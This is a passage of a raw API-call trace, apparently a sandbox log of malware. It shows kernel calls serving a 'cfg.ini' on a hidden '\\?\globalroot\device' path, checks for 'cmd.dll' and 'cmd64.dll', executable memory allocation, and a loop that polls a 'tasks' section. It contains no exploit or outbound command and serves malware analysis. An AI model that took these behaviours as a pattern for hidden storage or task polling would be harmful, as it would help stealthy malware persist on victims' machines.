_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.039] KeEnterCriticalRegion () [0125.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.039] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.039] IdePortDispatch () returned 0x103 [0125.040] KeWaitForMutexObject () returned 0x0 [0125.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.040] KeLeaveCriticalRegion () [0125.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.040] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.040] KeEnterCriticalRegion () [0125.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b14000 [0125.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.040] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.040] IdePortDispatch () returned 0x103 [0125.040] KeWaitForMutexObject () returned 0x0 [0125.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.040] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.040] IdePortDispatch () returned 0x103 [0125.040] KeWaitForMutexObject () returned 0x0 [0125.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.040] KeLeaveCriticalRegion () [0125.040] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.041] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.041] KeEnterCriticalRegion () [0125.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] KeLeaveCriticalRegion () [0125.041] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.041] KeEnterCriticalRegion () [0125.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.041] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] KeLeaveCriticalRegion () [0125.041] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.041] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.041] KeEnterCriticalRegion () [0125.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.041] KeLeaveCriticalRegion () [0125.041] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.041] ReleaseMutex (hMutex=0xf0) returned 1 [0125.041] Sleep (dwMilliseconds=0x927c0) [0125.055] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.055] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.055] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.055] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.055] KeEnterCriticalRegion () [0125.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.055] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.055] IdePortDispatch () returned 0x103 [0125.055] KeWaitForMutexObject () returned 0x0 [0125.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.055] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.055] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.056] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.056] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.056] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4160 [0125.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] KeLeaveCriticalRegion () [0125.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.056] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.056] KeEnterCriticalRegion () [0125.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] KeLeaveCriticalRegion () [0125.056] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.056] KeEnterCriticalRegion () [0125.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.056] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.056] IdePortDispatch () returned 0x103 [0125.056] KeWaitForMutexObject () returned 0x0 [0125.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] KeLeaveCriticalRegion () [0125.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.056] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.056] KeEnterCriticalRegion () [0125.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0125.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.056] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.056] IdePortDispatch () returned 0x103 [0125.056] KeWaitForMutexObject () returned 0x0 [0125.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.057] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.057] IdePortDispatch () returned 0x103 [0125.057] KeWaitForMutexObject () returned 0x0 [0125.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.057] KeLeaveCriticalRegion () [0125.057] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.058] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.058] KeEnterCriticalRegion () [0125.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] KeLeaveCriticalRegion () [0125.058] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.058] KeEnterCriticalRegion () [0125.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4220, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] KeLeaveCriticalRegion () [0125.058] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.058] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.058] KeEnterCriticalRegion () [0125.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] ExFreePoolWithTag (P=0xfffffa8003bf4160, Tag=0x0) [0125.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.058] KeLeaveCriticalRegion () [0125.058] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.058] ReleaseMutex (hMutex=0xf0) returned 1 [0125.058] Sleep (dwMilliseconds=0x927c0) [0125.073] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.073] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.073] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.073] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.073] KeEnterCriticalRegion () [0125.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.073] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.073] IdePortDispatch () returned 0x103 [0125.073] KeWaitForMutexObject () returned 0x0 [0125.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.073] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.073] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.073] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.073] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.073] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.073] KeLeaveCriticalRegion () [0125.073] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.073] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.073] KeEnterCriticalRegion () [0125.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.074] KeLeaveCriticalRegion () [0125.074] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.074] KeEnterCriticalRegion () [0125.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.074] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.074] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.074] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.074] IdePortDispatch () returned 0x103 [0125.075] KeWaitForMutexObject () returned 0x0 [0125.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.075] KeLeaveCriticalRegion () [0125.075] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.075] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.075] KeEnterCriticalRegion () [0125.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1e000 [0125.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.075] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.075] IdePortDispatch () returned 0x103 [0125.075] KeWaitForMutexObject () returned 0x0 [0125.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.075] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.075] IdePortDispatch () returned 0x103 [0125.076] KeWaitForMutexObject () returned 0x0 [0125.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.076] KeLeaveCriticalRegion () [0125.076] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.076] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.076] KeEnterCriticalRegion () [0125.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.076] KeLeaveCriticalRegion () [0125.076] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.076] KeEnterCriticalRegion () [0125.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.076] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.077] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.077] KeLeaveCriticalRegion () [0125.077] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.077] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.077] KeEnterCriticalRegion () [0125.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.077] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0125.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.077] KeLeaveCriticalRegion () [0125.077] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.077] ReleaseMutex (hMutex=0xf0) returned 1 [0125.077] Sleep (dwMilliseconds=0x927c0) [0125.083] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.083] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.091] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.091] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.091] KeEnterCriticalRegion () [0125.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.091] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.091] IdePortDispatch () returned 0x103 [0125.091] KeWaitForMutexObject () returned 0x0 [0125.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.092] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.092] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.092] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.092] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.092] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0125.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.092] KeLeaveCriticalRegion () [0125.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.092] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.092] KeEnterCriticalRegion () [0125.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.092] KeLeaveCriticalRegion () [0125.092] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.092] KeEnterCriticalRegion () [0125.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.092] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.092] IdePortDispatch () returned 0x103 [0125.092] KeWaitForMutexObject () returned 0x0 [0125.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.092] KeLeaveCriticalRegion () [0125.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.093] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.093] KeEnterCriticalRegion () [0125.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b62000 [0125.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.093] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.093] IdePortDispatch () returned 0x103 [0125.093] KeWaitForMutexObject () returned 0x0 [0125.093] _strnicmp 